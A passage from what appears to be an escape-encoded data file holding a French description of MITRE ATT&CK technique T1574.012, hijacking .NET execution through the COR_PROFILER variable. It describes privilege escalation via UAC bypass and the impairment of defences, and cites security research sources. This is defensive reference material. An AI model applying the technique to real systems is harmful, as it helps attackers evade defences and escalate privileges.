          \ de tous les processus .NET chaque fois que le CLR est appel\xE9. Le COR_PROFILER\
          \ peut \xE9galement \xEAtre utilis\xE9 pour \xE9lever les privil\xE8ges\
          \ (par exemple : [Contourner le contr\xF4le de compte d\u2019utilisateur](https://attack.mitre.org/techniques/T1548/002))\
          \ si le processus .NET victime s\u2019ex\xE9cute \xE0 un niveau d\u2019\
          autorisation sup\xE9rieur, ainsi que pour accrocher et [Entraver les d\xE9\
          fenses](https://attack.mitre.org/techniques/T1562) fournis par les processus\
          \ .NET. (Citation : RedCanary Mockingbird, mai 2020)(Citation : Red Canary\
          \ COR_PROFILER mai 2020)(Citation : Almond COR_PROFILER avril 2019)(citation\
          \ : GitHub OmerYa Invisi-Shell)(Citation\_: subTee .NET Profilers mai 2017)\n\
          https://attack.mitre.org/techniques/T1574/012"
